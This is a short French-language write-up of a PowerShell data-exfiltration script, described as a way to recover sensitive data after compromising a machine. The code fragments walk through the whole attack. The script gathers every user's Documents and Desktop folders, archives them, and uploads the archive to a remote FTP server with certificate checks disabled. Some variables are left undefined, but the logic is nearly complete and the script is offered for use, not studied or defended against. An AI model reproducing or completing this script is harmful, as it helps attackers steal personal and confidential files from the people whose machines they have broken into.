exfiltration :

Description :

Ce script permet d'extraire les données utilisateurs d'une machine. Il va détecter les différents dossiers utilisateurs et créer une archive qui sera ensuite déposée sur un serveur FTP. Ce script permet en cas de compromission d'une machine de récupérer des données potentiellement sensibles et importantes.

Analyse du code :

```
Install-Module PSFTP
Import-Module PSFTP
```

Il est important d'installer dans un premier temps et d'importer le module PSFTP permettant l'export des données en FTP.

```
$user_folders = Get-ChildItem C:\Users | Where-Object {$_.PSIsContainer} | Select-Object -ExpandProperty Name
$all_paths = New-Object System.Collections.Generic.List[System.String]
```

Récupère tous les utilisateurs ayant des dossiers sur la machine.

```
foreach ($folder in $user_folders) {
    $path = "C:\Users\$folder"
    if(Test-Path "$path\Documents") {
        $all_paths.Add("$path\Documents")
    }
    if(Test-Path "$path\Desktop"){
        $all_paths.Add("$path\Desktop")
    }
}
```

Récupère les dossiers utilisateurs qui sont accessibles et qui seront téléchargés.

```
Compress-Archive -Path $path -DestinationPath $archive_path -Update
```

Le script crée et met à jour l'archive avec tous les dossiers utilisateurs.

```
Set-FTPConnection -Credentials $cred -Server $ftpServer -Session FloFTP -ignoreCert -UseBinary -KeepAlive
$session = Get-FTPConnection -Session FloFTP
```

Connexion au serveur FTP distant permettant de déposer l'archive.

```
Add-FTPItem -Session $session -Path "/pull/" -LocalPath $archive_path
```

Envoi de l'archive sur le serveur FTP.